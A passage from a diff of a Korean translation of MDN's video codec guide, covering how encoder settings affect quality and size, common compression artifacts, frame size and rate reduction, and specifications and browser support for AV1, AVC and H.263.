+<p>위 요소들이 인코딩 된 비디오에 미치는 정도는 선택한 인코더와 설정 등 정확한 상황에 따라 굉장히 다양합니다. 인코딩 중에 코덱의 일반 옵션에 더해서 프레임 레이트를 줄이거나 노이즈 제거, 비디오 해상도를 줄이는 등 인코더 설정을 추가할 수 있습니다.</p>
+
+<h3 id="인코딩_결과물에_영향을_끼치는_코덱_설정">인코딩 결과물에 영향을 끼치는 코덱 설정</h3>
+
+<p>비디오 인코딩에 쓰이는 알고리즘은 보통 여러가지의 기술들로 구성되어 있습니다. 일반적으로 최종 결과물의 크기를 줄이기 위한 설정 옵션은 비디오 퀄리티 하락이나 특정 이슈를 발생시킵니다. 최종 결과물이 매우 커지지만 오리지널 소스를 완벽하게 재생하기 위해 무손실 인코딩을 택할 수도 있습니다.</p>
+
+<p>또한 각 인코더는 결과물의 품질과 크기에 영향을 끼치는 다양한 바리에이션을 가지고 있기도 합니다.</p>
+
+<table class="standard-table">
+ <caption>품질과 크기에 영향을 미치는 비디오 인코더 설정</caption>
+ <thead>
+  <tr>
+   <th scope="row">기능</th>
+   <th scope="col">품질에 영향</th>
+   <th scope="col">크기에 영향</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">무손실 압축</th>
+   <td>품질 손실 없음</td>
+   <td>손실 압축에 비해 무손실 압축은 전체 비디오 크기를 많이 줄일 수 없습니다; 결과물 파일은 일반적으로 사용하기엔 여전히 매우 거대합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">
+    <p>손실 압축</p>
+   </th>
+   <td>특정 코덱과 압축을 어떻게 하느냐에 따라 퀄리티 저하에 영향을 끼치는 인자나 기타 요소가 어느 정도 발생하게 됩니다.</td>
+   <td>원본 비디오와 많이 달라져도 된다면 높은 압축률을 달성하는 것은 어렵지 않습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">품질 세팅</th>
+   <td>품질 설정을 높게 세팅할수록 인코딩 된 비디오도 원본에 가깝게 보일겁니다.</td>
+   <td>보통은 높은 품질로 설정할 수록 인코딩 된 비디오 파일도 커집니다;그 정도는 코덱에 따라 다르겠지만요.</td>
+  </tr>
+  <tr>
+   <th scope="row">비트레이트</th>
+   <td>품질을 높이면 보통 비트레이트도 높아집니다.</td>
+   <td>비트레이트가 높으면 결과물 파일도 커지죠.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>인코딩 시 설정 가능한 항목과 값은 코덱마다 다를 뿐만 아니라 사용하는 인코더 소프트웨어에 따라서도 다양합니다. 여러분이 사용하는 인코더 소프트웨어의 가이드 문서에 인코딩 시 영향을 끼치는 옵션에 대해 설명하고 있을겁니다.</p>
+
+<h2 id="압축_아티팩트">압축 아티팩트</h2>
+
+<p><strong>아티팩트</strong>는 는 손실 압축에서 발생할 수 있는 부작용으로 시각적인 데이터의 손실 또는 변경입니다. 비디오 출력 방식 때문에 아티팩트가 한 번 발생하면 생각보다 오래 남습니다. 비디오의 각 프레임은 현재 보여지는 프레임에서 변경된 부분만 적용하는 방식으로 표현됩니다. 이 말은 즉 에러나 아티팩트는 시간이 지날수록 복잡해지고 이미지상의 결함이나 이상한 점, 깨진 부분 등이 한동안 지속된다는 걸 의미하죠.</p>
+
+<p>이 문제도 해결하고 또 비디오 데이터의 탐색 시간을 개선하기 위해 주기적으로 <strong>키 프레임</strong>(<strong>인트라-프레임</strong> 또는 <strong>i-프레임</strong>)을 비디오 파일에 삽입합니다. 키 프레임은 통짜 프레임으로 현재 보이는 이미지 손상이나 아티팩트를 수정하기 위해 존재합니다.</p>
+
+<h3 id="위신호Aliasing">위신호(Aliasing)</h3>
+
+<p>위신호는 인코딩 된 데이터가 압축하기 전과 다르게 보이는 현상 전반에 대한 일반 용어입니다. 여러가지 종류의 위신호가 있으며;흔히 보이는 것들은 아래와 같습니다:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="모아레_현상Moiré_patterns">모아레 현상(Moiré patterns)</h4>
+
+    <p><strong>{{interwiki("모아레 현상-Moiré pattern")}}</strong>는 소스 이미지의 패턴과 인코더의 동작 방식이 공간적으로 약간 정렬되어 있지 않을 때 발생하는 대규모 공간 간섭 패턴입니다. 인코딩 시 발생한 아티팩트를 디코딩 하면 소스 이미지에 이상한 회오리 무늬가 생깁니다.</p>
+   </td>
+   <td><a href="https://mdn.mozillademos.org/files/16680/moire-pattern.jpg"><img alt="" src="https://mdn.mozillademos.org/files/16680/moire-pattern.jpg" style="height: 250px; width: 205px;"></a></td>
+  </tr>
+  <tr>
+   <td>
+    <h4 id="계단_현상">계단 현상</h4>
+
+    <p><strong>계단 현상</strong>은 공간적 아티팩트의 하나로 부드러워야 할 대각선이나 곡선 경계면이 마치 계단처럼 들쭉날쭉하게 보이는 현상을 의미합니다. "안티-앨리어싱"필터를 사용하면 줄일 수 있습니다.</p>
+   </td>
+   <td><a href="https://mdn.mozillademos.org/files/16681/staircase-effect.jpg"><img alt="" src="https://mdn.mozillademos.org/files/16681/staircase-effect.jpg" style="height: 250px; width: 206px;"></a></td>
+  </tr>
+  <tr>
+   <td>
+    <h4 id="마차_바퀴_현상">마차 바퀴 현상</h4>
+
+    <p><strong>마차 바퀴 현상</strong> (또는 <strong>{{interwiki("wikipedia", "스트로보 효과")}}</strong>)은 필름에서 흔히 볼 수 있는 시각적 효과로 프레임 레이트와 압축 알고리즘에 의해 회전하는 바퀴가 느리거나 빠르게 혹은 아예 반대 방향으로 보이는 것을 의미합니다. 이는 철도 노선의 침목이나 도로변의 기둥 등 일정한 패턴으로 움직이는 것이라면 어디서든 볼 수 있습니다. 이는 시간적 위신호 이슈로;압축 또는 인코딩 시 샘플링 레이트가 회선 속도에 간섭하여 발생합니다.</p>
+   </td>
+   <td><a href="https://mdn.mozillademos.org/files/16682/stroboscopic-effect.gif"><img alt="" src="https://mdn.mozillademos.org/files/16682/stroboscopic-effect.gif"></a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="컬러_엣징Color_edging">컬러 엣징(Color edging)</h3>
+
+<p><strong>컬러 엣징</strong>은 시각적 아티팩트 중 하나로 화면상의 색상을 가진 오브젝트들의 경계면에 잘못된 색상이 나타나는 현상입니다. 나타나는 색상은 프레임의 콘텐츠간에 아무 연관도 없습니다.</p>
+
+<h3 id="선명도_손실">선명도 손실</h3>
+
+<p>비디오 인코딩 중 일부 데이터를 제거하면 필연적으로 디테일 손실이 발생합니다. 충분히 압축하고 나면 일부 또는 전체 이미지에 약간 불분명하거나 흐릿한 부분이 보일 수 있습니다.</p>
+
+<p>선명도가 떨어지면 이미지 상의 글자를 읽기 어렵습니다. 특히나 작은 글씨들은 디테일에 민감한 콘텐츠로 작은 변화로도 매우 읽기 어려워집니다.</p>
+
+<h3 id="링잉_효과Ringing">링잉 효과(Ringing)</h3>
+
+<p>손실 압축 알고리즘은 링잉 효과 <strong>{{interwiki("wikipedia", "ringing artifacts", "ringing")}}</strong>를 일으킬 수 있습니다. 링잉 효과는 압축 알고리즘에 의해 오브젝트의 경계면에 픽셀이 오염되는 현상을 의미합니다. 압축 알고리즘이 오브젝트와 배경의 경계면이 포함된 블럭을 사용했을 때 발생할 수 있습니다. 보통 압축율이 높을 때 주로 발생합니다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/16684/Ringing-effects.png"><img alt="Example of the ringing effect" src="https://mdn.mozillademos.org/files/16684/Ringing-effects.png" style="height: 368px; width: 350px;"></a></p>
+
+<p>위 별 모양의 경계 부분에 파랑 및 분홍 부분을 보세요 (계단 현상 등 다른 압축 아티팩트도 나타남). 저 부분이 링잉 효과입니다. 링잉은 어떤 면에서는 {{anch("Mosquito noise", "mosquito noise")}}와 비슷합니다, 다만 모기 효과는 일렁거리거나 움직이는데 반해 링잉 효과는 정지한 채로 변하지 않습니다.</p>
+
+<p>링잉 효과 역시 이미지 상의 글자를 읽기 어렵게 하는 아티팩트입니다.</p>
+
+<h3 id="포스터라이징Posterizing">포스터라이징(Posterizing)</h3>
+
+<p><strong>포스터리제이션</strong>은 압축된 결과물이 그라디언트 부분에서 색상 디테일을 잃는 현상을 의미합니다. 그라디언트 영역이 부드럽게 색상이 변하지 않고 원본과 비슷한 색상의 블록 형태로 얼룩이 묻은 듯한 이미지로 표현 됩니다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/16686/posterize-effect.jpg"><img alt="" src="https://mdn.mozillademos.org/files/16686/posterize-effect.jpg" style="height: 440px; width: 400px;"></a></p>
+
+<p>위 이미지상 흰머리 수리의  깃털 부분의 색상이 블록처럼 보이는 것을 보세요(배경의 흰색 올빼미도요). 포스터리제이션 효과로 인해 깃털의 디테일을 상당 부분 잃었습니다.</p>
+
+<h3 id="컨투어링Contouring">컨투어링(Contouring)</h3>
+
+<p><strong>컨투어링</strong> 또는 <strong>컬러 밴딩</strong>은 포스터리제이션의 특별한 형태로 이미지에서 색상 블록이 줄무늬 형태로 나타나는 현상을 의미합니다. 이는 비디오 인코딩 시 양자화 설정이 제대로 이뤄지지 않은 경우 발생할 수 있습니다.  결과적으로 부드럽게 변해야 할 그라디언트 부분에 "층"이 생긴 것처럼 줄무늬가 보입니다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/16685/contouring-effect.jpg"><img alt="Example of an image whose compression has introduced contouring" src="https://mdn.mozillademos.org/files/16685/contouring-effect.jpg" style="height: 300px; width: 400px;"></a></p>
+
+<p>위 이미지를 보시면 하늘에서 지평선으로 부드럽게 변해야 하는데 파란색이 층층이 져 있는 것을 볼 수 있습니다. 이 것이 컨투어링 효과입니다.</p>
+
+<h3 id="모스키토_노이즈Mosquito_noise">모스키토 노이즈(Mosquito noise)</h3>
+
+<p><strong>모스키토 노이즈</strong>는 시간적 아티팩트 중 하나로 배경과 물체의 경계면의 차이가 큰 부분에서 노이즈나 <strong>edge busyness</strong>가 흐릿하게 일렁거리는 현상을 의미합니다. 시각적으로는  {{anch("Ringing", "ringing")}} 효과와 유사합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16687/mosquito-effect-sm.png" style="height: 393px; width: 400px;"></p>
+
+<p>위 이미지상 다리 여러군데의 주변 하늘에서 모스키토 노이즈를 볼 수 있습니다. 우측 상단에 모스키토 노이즈가 발생한 부분을 확대해 놓았습니다.</p>
+
+<p>모스키토 노이즈는 MPEG 비디오에서 흔히 발견할 수 있지만 이산 코사인 변환(DCT)를 사용한 로직이라면 어디든지 발생할 수 있습니다;JPEG 정지 화상에서도요.</p>
+
+<h3 id="움직임_보상_블록_경계면_아티팩트">움직임 보상 블록 경계면 아티팩트</h3>
+
+<p>일반적인 비디오 압축은 두 프레임을 비교한 뒤 프레임간 차이점을 마지막 프레임까지 저장하는 방식으로 진행됩니다. 고정된 카메라에 촬영되는 물체들도 정지해 있다면 이 압축 방식은 매우 잘 동작하겠지만 프레임마다 움직임이 커지면 압축률을 높이기가 쉽지 않습니다.</p>
+
+<p><strong>{{interwiki("wikipedia", "움직임 보상")}}</strong>은 물체가 각각의 방향으로 얼마만큼 많은 픽셀이 이동했는지 움직임(카메라 자체의 이동 또는 프레임 상의 물체의 이동)을 추적하는 기술입니다.  그리고 단순 움직임 만으로는 설명할 수 없는 픽셀의 추가 정보와 함께 움직임을 저장합니다. 요약하자면 인코더가 움직이는 물체를 찾아낸 후 원본과 동일해 보이지만 새로운 위치로 이동한 인터널 프레임을 생성하는 방식입니다. 이론적으로는 새로운 프레임이 나타난 것과 거의 동일합니다. 새 프레임에 남아있는 다른 차이점이 발견된다면 물체의 움직임과 픽셀 차이점을 저장하여 작업을 마무리 합니다. 이렇게 움직임과 픽셀 차이점이 기록된 물체를 <strong>residual frame</strong>이라 부릅니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col" style="width: 216px;">원본 프레임</th>
+   <th scope="col" style="width: 216px;">인터-프레임 차이점</th>
+   <th scope="col" style="width: 216px;">움직임 보상 이후 차이점</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><img alt="Original frame of video" src="https://mdn.mozillademos.org/files/16688/motion-comp-orig.jpg" style="height: 102px; width: 182px;"></td>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16689/motion-comp-diff.jpg" style="height: 102px; width: 182px;"></td>
+   <td><img alt="Differences between the frames after shifting two pixels right" src="https://mdn.mozillademos.org/files/16690/motion-comp-compensated.jpg" style="height: 102px; width: 182px;"></td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">시청자에게 보이는 최초 전체 프레임</td>
+   <td style="vertical-align: top;">이건 첫번째 프레임과 두번째 프레임간의 차이점만 나타낸 화면입니다. 나머지는 모두 검정이죠. 가까이서 보면 이 움직임들은 단지 카메라가 수평으로 이동했기 때문에 발생한 것을 알 수 있습니다. 움직임 보상을 써먹기에 아주 좋은 후보죠.</td>
+   <td style="vertical-align: top;">차이점을 가지는 픽셀 수를 최소화 하기 위해 첫번째 프레임에서 카메라가 오른쪽으로 2픽셀 이동하였다고 가정한 뒤 픽셀 차이점을 계산합니다. 이는 카메라의 움직임을 추적하여 두 프레임간 겹치는 부분이 더 많아지게 합니다.</td>
+  </tr>
+  <tr>
+   <th colspan="3" style="font: italic 0.9em Arial, x-locale-body, sans-serif; vertical-align: middle;">Images from <a href="https://en.wikipedia.org/wiki/Motion_compensation#Illustrated_example">Wikipedia</a></th>
+  </tr>
+ </tbody>
+</table>
+
+<p>움직임 보상에는 두 가지 형태가 있습니다: <strong>전역 움직임 보상</strong> 과 <strong>블록 움직임 보상</strong>입니다. 전역 움직임 보상은 달리, 트래킹, 선회, 기울이기 및 회전 등의 카메라 변화를 감지합니다. 블록 움직임 보상은 추적 대상이 될만한 움직임의 작은 부분들을 찾아 처리합니다. 블록들은 보통 고정된 크기를 가지고 격자 형태로 배열되어 있지만 다양한 크기의 블록 및 블록이 겹치는 경우도 처리할 수 있도록 여러 형태의 움직임 보상을 지원합니다.</p>
+
+<p>하지만 움직임 보상에서도 아티팩트가 발생할 수 있습니다. 링잉 효과 등의 현상이 발생할 만큼 선명한 경계면에서 주로 발생합니다. 이는 residual frame을 코딩하는 도중 수학 계산의 결과물로 인해 발생하는 것으로 다음 키프레임에 의해 수정되기 전에 쉽게 발견할 수 있습니다.</p>
+
+<h3 id="프레임_크기_감소">프레임 크기 감소</h3>
+
+<p>특정 상황에서는 비디오 면적을 감소시키는 것이 비디오 파일 최종 사이즈를 줄이는데 도움이 되기도 합니다. 재생 도중 당장의 크기나 부드러움이 줄어드는 건 안 좋은 게 사실이지만 세심하게 조절하면 최종 결과물은 더 좋아질 수 있습니다. 1080p 비디오를 인코딩 전 720p 비디오로 축소한다면 화질을 더 높게 유지한 채로 크기를 훨씬 줄일 수 있습니다; 재생 할 때 스케일업 하더라도 필요한 파일 크기에 맞추어 품질을 조정한 채 전체 크기로 인코딩한 경우보다 화질이 좋습니다.</p>
+
+<h3 id="프레임_레이트_감소">프레임 레이트 감소</h3>
+
+<p>비슷하게 전체 비디오에서 프레임을 제거하고 프레임 레이트를 감소시킬 수도 있습니다. 두 가지 장점이 있는데: 전체 비디오를 작게 만들고 움직임 보상 처리가 더 쉬워집니다. 예를 들어 2 픽셀이 차이나는 두 인터 프레임 간의 움직임 차이점을 계산하는 대신에, 프레임을 스킵하여 두 프레임 간 4 픽셀 차이점을 계산하도록 할 수 있습니다. 이러면 전체 카메라 이동을 더 적은 residual frame으로 표현할 수 있습니다.</p>
+
+<p>사람 눈의 움직이는 것처럼 인식되는 최소한의 프레임 레이트는 약 12입니다. 그보다 적으면 비디오가 아니라 연속된 정지 화상으로 보입니다. 영화 필름은 보통 초당 24 프레임이며 표준 화질 TV(SDTV)는 대략 30 fps(약간 적지만 비슷합니다, 29.97), 고화질 TV(HDTV)는 24-60fps입니다. 24fps이상이면 일반적으로 충분히 부드러워 보입니다;여러분의 필요에 따라 다르지만 30/60fps가 이상적인 목표치죠.</p>
+
+<p>결론적으로 어떤걸 희생할 지 정하는 것은 여러분의 디자인 팀에 달렸습니다.</p>
+
+<h2 id="코덱_세부사항">코덱 세부사항</h2>
+
+<h3 id="AV1">AV1</h3>
+
+<p><strong>AOMedia Video 1</strong> (<strong>AV1</strong>) 코덱은 <a href="https://aomedia.org/">Alliance for Open Media</a> 기관이 인터넷 비디오를 위해 개발한 오픈 포맷입니다. {{anch("VP9")}}, {{anch("HEVC", "H.265/HEVC")}} 보다 압축율이 높으며, <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">AVC</a>보다 50% 이상 압축율이 높습니다. AV1은 완전한 로열티 프리이며 {{HTMLElement("video")}} 엘리먼트와 <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>에서 사용하기 위해 설계하였습니다.</p>
+
+<p>AV1은 현재 세 프로파일을 제공하며:<strong>main</strong>, <strong>high</strong>, <strong>professional</strong> 다양한 색 깊이와 크로마 서브샘플링을 지원합니다. 또한 <strong>레벨</strong> 역시 정의하여 각 레벨은 비디오 속성의 범위를 제한하고 있습니다. 비디오 속성에는 프레임 면적, 픽셀간 이미지 영역, 출력 및 디코딩 속도, 평균/최대 비트 레이트, 인코딩/디코딩 시 사용하는 타일 개수와 항목 등이 있습니다.</p>
+
+<p>예를들어 AV1 level 2.0의 최대 프레임 크기는 가로 2048 세로 1152 픽셀이지만 프레임 당 최대 픽셀 개수는 147,456(&lt;= 2048x1152 = 2,359,296)이므로 실제 2048x1152 크기의 프레임을 사용할 수는 없습니다. 하지만 인지해야 할 점은 적어도 파이어폭스와 크롬의 소프트웨어 디코더는 현 시점에서 사실상 레벨은 무시하고 주어진 설정에 맞추어 비디오를 디코딩하는데 최선을 다합니다. 하지만 향후 호한성을 위해 여러분은 선택한 레벨에 맞추어 유지해야 합니다.</p>
+
+<p>현시점의 AV1의 주요 문제점은 새로운 포맷이며 브라우저에 연동이 아직 진행중에 있다는 것입니다. 또한 인/디코더도 최적화해야 하며 하드웨어 인/디코더는 제품화되지 않아 아직 개발중입니다. 이러한 문제점들이 소프트웨어적으로 해결되기 전까지는 비디오 인코딩을 AV1 포맷으로 전환하는데 시간이 소요될 것입니다.</p>
+
+<p>위와 같은 이유로 당분간 최우선 비디오 코덱으로 AV1를 사용하기에는 이르지만 미래에는 반드시 선택을 고려해야 합니다.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">지원 비트레이트</th>
+   <td>비디오 레벨에 따라 다름;이론적으로 level 6.3에서 최대 800Mbps<sup><a href="#av1-foot-2">[2]</a></sup></td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 레이트</th>
+   <td>레벨에 따라 다름;예를 들어 level 2.0은 최대 30fps, level 6.3은 최대 120fps</td>
+  </tr>
+  <tr>
+   <th scope="row">압축</th>
+   <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a></td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 크기</th>
+   <td>8 x 8 픽셀 에서 65,535 x 65535 픽셀 사이 값</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컬러 모드</th>
+   <td>
+    <table class="standard-table">
+     <thead>
+      <tr>
+       <th scope="row">프로필</th>
+       <th scope="col">색 깊이</th>
+       <th scope="col">크로마 서브샘플링</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <th scope="row">Main</th>
+       <td>8 or 10</td>
+       <td>4:0:0 (그레이스케일) or 4:2:0</td>
+      </tr>
+      <tr>
+       <th scope="row">High</th>
+       <td>8 or 10</td>
+       <td>4:0:0 (그레이스케일), 4:2:0, or 4:4:4</td>
+      </tr>
+      <tr>
+       <th scope="row">Professional</th>
+       <td>8, 10, or 12</td>
+       <td>4:0:0 (그레이스케일), 4:2:0, 4:2:2, or 4:4:4</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">HDR 지원</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">브라우저 호환성</th>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">기능</th>
+       <th scope="col">Chrome</th>
+       <th scope="col">Edge</th>
+       <th scope="col">Firefox</th>
+       <th scope="col">Internet Explorer</th>
+       <th scope="col">Opera</th>
+       <th scope="col">Safari</th>
+      </tr>
+      <tr>
+       <th scope="row">AV1 지원</th>
+       <td>70</td>
+       <td>75</td>
+       <td>67</td>
+       <td>No</td>
+       <td>57</td>
+       <td>No</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컨테이너</th>
+   <td>ISOBMFF<sup><a href="#av1-foot-1">[1]</a></sup>, MPEG-TS, <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환성</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">유지 보수 기관</th>
+   <td><a href="https://aomedia.org/">Alliance for Open Media</a></td>
+  </tr>
+  <tr>
+   <th scope="row">스펙</th>
+   <td><a href="https://aomediacodec.github.io/av1-spec/av1-spec.pdf">https://aomediacodec.github.io/av1-spec/av1-spec.pdf</a></td>
+  </tr>
+  <tr>
+   <th scope="row">라이선스</th>
+   <td>로열티 프리, 공개 포맷</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="av1-foot-1" name="av1-foot-1">[1]</a> {{interwiki("wikipedia", "ISO Base Media File Format")}}</p>
+
+<p><a name="av1-foot-2">[2]</a> See the AV1 specification's <a href="https://aomediacodec.github.io/av1-spec/#levels">tables of levels</a>, which describe the maximum resolutions and rates at each level.</p>
+
+<h3 id="AVC_H.264"><a name="AVC">AVC</a> (H.264)</h3>
+
+<p>MPEG-4 스펙 집합 중 <strong>Advanced Video Coding</strong> (<strong>AVC</strong>) 표준은 ITU H.264 스펙 및 MPEG-4 Part 10 스펙과 동일한 것입니다. TV 방송, 영상회의, 블루레이 디스크 미디어를 포함한 모든 종류의 미디어에 사용되는 움직임 보상에 기반한 코덱이죠.</p>
+
+<p>AVC는 높은 호환성을 지원하는 여러 프로파일 덕분에 매우 유연합니다; 예를들어 Constrained Baseline Profile은 영상회의와 모바일 환경을 고려하였고 MainProfile(몇몇 지역에서 SDTV로 사용)나 High Profile(블루레이 디스크에서 사용)보다 대역폭을 적게 사용합니다. 대부분의 프로파일은 8-bit 컬러 컴포넌트와 4:2:0 크로마 서브샘플링을 사용합니다; High 10 Profile은 10-bit 컬러를 지원하며 High 10 Advanced form은 4:2:2, 4:4:4 크로마 서브샘플링을 지원합니다.</p>
+
+<p>AVC에 동일한 장면의 여러 시점을 지원하는 기능도 있습니다.(Multiview Video Coding), 이는 양안 영상 등을 가능하게끔 합니다.</p>
+
+<p>AVC는 유료 포맷이지만 무수한 특허들이 개입한 여러 단체에 소유권이 나뉘어져있습니다. 상용 목적일때는 AVC 미디어 라이선스가 필요하지만 인터넷 환경에서 최종 사용자에게 비디오가 무료로 스트리밍하는 경우에는 MPEG LA 특허권자가 라이선스를 요구하지 않습니다.</p>
+
+<p>웹이 아닌 환경에서 WebRTC를 구현한 브라우저(JavaScript API가 없는 제품이라도)는 WebRTC 콜을 위해 AVC를 지원해야합니다. 웹 브라우저는 꼭 그럴필요는 없지만 몇몇은 지원하고 있습니다.</p>
+
+<p>많은 플랫폼이 웹브라우저의 HTML 콘텐츠 형태로 AVC의 하드웨어 인코딩/디코딩을 지원하고 있습니다. 하지만 AVC를 프로젝트에서 사용하기 전에 <a href="https://www.mpegla.com/programs/avc-h-264/">라이선스 요구사항</a>을 꼭 읽어보세요!</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">지원 비트레이트</th>
+   <td>레벨에 따라 다름</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임레이트</th>
+   <td>레벨에 따라 다름; 300 fps까지 가능</td>
+  </tr>
+  <tr>
+   <th scope="row">압축</th>
+   <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a>, 이미지안에 무손실 매크로 블록 생성 가능</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 프레임 크기</th>
+   <td>최대 8,192 x 4,320 픽셀</td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컬러 모드</th>
+   <td>
+    <p>일반적이고 유효한 프로필:</p>
+
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">프로필</th>
+       <th scope="col">색 깊이</th>
+       <th scope="col">크로마 서브샘플링</th>
+      </tr>
+      <tr>
+       <td>Constrained Baseline (CBP)</td>
+       <td>8</td>
+       <td>4:2:0</td>
+      </tr>
+      <tr>
+       <td>Baseline (BP)</td>
+       <td>8</td>
+       <td>4:2:0</td>
+      </tr>
+      <tr>
+       <td>Extended (XP)</td>
+       <td>8</td>
+       <td>4:2:0</td>
+      </tr>
+      <tr>
+       <td>Main (MP)</td>
+       <td>8</td>
+       <td>4:2:0</td>
+      </tr>
+      <tr>
+       <td>High (HiP)</td>
+       <td>8</td>
+       <td>4:0:0 (그레이스케일) and 4:2:0</td>
+      </tr>
+      <tr>
+       <td>Progressive High (ProHiP)</td>
+       <td>8</td>
+       <td>4:0:0 (그레이스케일) and 4:2:0</td>
+      </tr>
+      <tr>
+       <td>High 10 (Hi10P)</td>
+       <td>8 to 10</td>
+       <td>4:0:0 (그레이스케일) and 4:2:0</td>
+      </tr>
+      <tr>
+       <td>High 4:2:2 (Hi422P)</td>
+       <td>8 to 10</td>
+       <td>4:0:0 (그레이스케일), 4:2:0, and 4:2:2</td>
+      </tr>
+      <tr>
+       <td>High 4:4:4 Predictive</td>
+       <td>8 to 14</td>
+       <td>4:0:0 (그레이스케일), 4:2:0, 4:2:2, and 4:4:4</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">HDR 지원</th>
+   <td>예; {{interwiki("wikipedia", "Hybrid Log-Gamma")}} 또는 Advanced HDR/SL-HDR; 모두  ATSC의 파트</td>
+  </tr>
+  <tr>
+   <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">브라우저 호환성</th>
+   <td>
+    <table class="standard-table">
+     <tbody>
+      <tr>
+       <th scope="row">기능</th>
+       <th scope="col">Chrome</th>
+       <th scope="col">Edge</th>
+       <th scope="col">Firefox</th>
+       <th scope="col">Internet Explorer</th>
+       <th scope="col">Opera</th>
+       <th scope="col">Safari</th>
+      </tr>
+      <tr>
+       <th scope="row">AVC/H.265 지원</th>
+       <td>4</td>
+       <td>12</td>
+       <td>35<sup><a href="#avc-foot-1">[1]</a></sup></td>
+       <td>9</td>
+       <td>25</td>
+       <td>3.2</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">지원 컨테이너</th>
+   <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">유지 보수 기관</th>
+   <td><a href="https://mpeg.chiariglione.org/">MPEG</a> / <a href="https://www.itu.int/">ITU</a></td>
+  </tr>
+  <tr>
+   <th scope="row">스펙</th>
+   <td><a href="https://mpeg.chiariglione.org/standards/mpeg-4/advanced-video-coding">https://mpeg.chiariglione.org/standards/mpeg-4/advanced-video-coding</a><br>
+    <a href="https://www.itu.int/rec/T-REC-H.264">https://www.itu.int/rec/T-REC-H.264</a></td>
+  </tr>
+  <tr>
+   <th scope="row">라이선스</th>
+   <td>상용 특허 다수. 상용 사용 시 <a href="https://www.mpegla.com/programs/avc-h-264/">라이선스 필요</a>. 여러 특허 풀에 영향 가능</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="avc-foot-1" name="avc-foot-1">[1]</a> Firefox support for AVC is dependent upon the operating system's built-in or preinstalled codecs for AVC and its container in order to avoid patent concerns.</p>
+
+<h3 id="H.263">H.263</h3>
+
+<p>ITU의 H.263 코덱은 저대역폭 환경에서 쓰기 위해 설계하였습니다. 특히 PSTN (Public Switched Telephone Networks), {{Glossary("RTSP")}}, SIP (IP-based videoconferencing) 시스템에서의 영상 회의에 초점을 맞추었습니다. 저대역폭 네트워크 환경에 최적화되었음에도 CPU에 영향이 크며 저사양 컴퓨터에서 원할하게 동작하지 않습니다. 데이터 포맷은 MPEG-4 Part2와 유사합니다.</p>
+
+<p>H.263은 웹에서 널리 쓰인 적이 없습니다. H.263의 변형 포맷이 Flash 비디오나 Sorenson 코덱 같은 상용 소프트웨어에서 사용된 적은 있습니다.  하지만 주요 브라우저 중 H.263를 기본으로 지원하는 제품은 없습니다. 특정 플러그인이 H.263을 지원하고는 있습니다.</p>
+
+<p>대부분의 코덱과 다르게 H.263은 인코딩 된 비디오의 프레임별 최대 비트레이트(<strong>BPPmaxKb)</strong>의 기본값을 정의하고 있습니다. 인코딩시에 BPPmaxKb값을 지정하면 각 프레임은 해당 수치를 넘어설 수 없습니다. 최종 프레임은 이 값과 프레임 레이트, 압축, 선택한 해상도와 블록 포맷에 따라 결정됩니다.</p>
+
